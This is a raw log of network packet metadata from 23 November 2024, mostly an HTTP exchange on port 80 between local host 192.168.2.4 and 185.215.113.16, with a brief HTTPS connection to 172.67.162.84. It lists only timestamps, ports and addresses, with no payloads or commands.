Nov 23, 2024 18:22:19.523407936 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.523458958 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.523497105 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.523540974 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.525949001 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.526006937 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.526087046 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.526133060 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.528522015 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.528568983 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.528621912 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.528670073 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.531060934 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.531105995 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.531251907 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.531294107 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.533675909 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.533734083 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.533763885 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.533811092 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.536360025 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.536412954 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.536443949 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.536490917 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.538788080 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.538831949 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.538844109 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.538887024 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.541413069 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.541477919 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.541554928 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.541603088 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.543881893 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.543926954 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.543973923 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.544023037 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.546484947 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.546535969 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.546637058 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.546679020 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.549019098 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.549077034 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.549132109 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.549179077 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.551557064 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.551603079 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.551752090 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.551799059 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.554126024 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.554176092 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.554217100 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.554270029 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.556701899 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.556746960 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.556835890 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.556885004 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.559329033 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.559379101 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.559422970 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.559469938 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.561825991 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.561877012 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.561928988 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.561971903 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.564399958 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.564446926 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.564464092 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.564506054 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.566946983 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.566996098 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.567063093 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.567114115 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.569469929 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.569514036 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.569581985 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.569623947 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.572094917 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.572134972 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.628613949 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.628663063 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.628664970 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.628699064 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.629887104 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.629939079 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.629975080 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.630022049 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.632426977 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.632478952 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.632524967 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.632564068 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.635006905 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.635035038 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.635056973 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.635078907 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.637584925 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.637635946 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.637641907 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.637676954 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.677664042 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.677711964 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.677747965 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.677784920 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.678328037 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.678369045 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.678509951 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.678555012 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.680584908 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.680636883 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.680674076 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.680716991 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.682841063 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.682902098 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.682941914 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.682985067 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.685139894 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.685184956 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.685200930 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.685224056 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.687238932 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.687294006 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.687340021 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.687390089 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.689455032 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.689508915 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.689623117 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.689667940 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.690957069 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.691009998 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.691036940 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.691091061 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.691117048 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.692464113 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.692517996 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.692585945 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.692631960 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.693979979 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.694030046 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.694122076 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.694170952 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.695489883 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.695538998 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.695565939 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.695611000 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.697004080 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.697046995 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.697098017 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.697143078 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.698543072 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.698595047 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.698649883 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.698693991 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.700036049 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.700082064 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.700131893 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.700179100 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.701545000 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.701591015 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.701647043 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.701695919 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.703121901 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.703164101 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.703250885 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.703299046 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.704819918 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.704888105 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.704914093 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.704965115 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.706110954 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.706175089 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.706228018 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.706280947 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.706938982 CET	49785	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:19.706989050 CET	443	49785	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.707093000 CET	49785	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:19.707451105 CET	49785	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:19.707468033 CET	443	49785	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.707659960 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.707710028 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.707777023 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.707823038 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.709146023 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.709201097 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.709254980 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.709297895 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.710625887 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.710673094 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.710753918 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.710798025 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.712172985 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.712218046 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.712315083 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.712357998 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.713654995 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.713702917 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.713785887 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.713831902 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.715167046 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.715213060 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.715266943 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.715308905 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.716700077 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.716744900 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.716818094 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.716862917 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.718209028 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.718257904 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.718308926 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.718355894 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.719758987 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.719810963 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.719868898 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.719913960 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.721230030 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.721276999 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.721330881 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.721385956 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.722739935 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.722785950 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.722836971 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.722882986 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.724289894 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.724340916 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.724364996 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.724406958 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.725771904 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.725816011 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.725869894 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.725912094 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.727308035 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.727356911 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.727418900 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.727467060 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.728846073 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.728890896 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.728904009 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.728950977 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.730318069 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.730365992 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.730392933 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.730437994 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.731803894 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.731849909 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.731914997 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.731959105 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.733350039 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.733397961 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.733407974 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.733453989 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.734857082 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.734905958 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.734935999 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.734982014 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.736377954 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.736424923 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.736433029 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.736478090 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.737927914 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.737974882 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.738049984 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.738095999 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.739434004 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.739481926 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.739506006 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.739552021 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.740922928 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.740967989 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.741035938 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.741080046 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.742444038 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.742491961 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.742538929 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.742587090 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.743947029 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.743994951 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.744056940 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.744103909 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.745475054 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.745518923 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.745588064 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.745634079 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.747025013 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.747071028 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.747082949 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.747124910 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.748486996 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.748534918 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.748588085 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.748639107 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.750013113 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.750056028 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.750133991 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.750178099 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.751488924 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.751537085 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.829838991 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.829916000 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.829926968 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.829961061 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.830516100 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.830565929 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.830599070 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.830646038 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.831690073 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.831738949 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.831801891 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.831846952 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.833209991 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.833255053 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.833286047 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.833333969 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.879153013 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.879240990 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.879273891 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.879323006 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.879663944 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.879718065 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.879738092 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.879779100 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.880599976 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.880623102 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.880651951 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.880665064 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.881985903 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.882030964 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.882148981 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.882196903 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.883526087 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.883552074 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.883574963 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.883591890 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.885147095 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.885194063 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.885265112 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.885313988 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.886548042 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.886596918 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.886708975 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.886754036 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.888273001 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.888322115 CET	49779	80	192.168.2.4	185.215.113.16
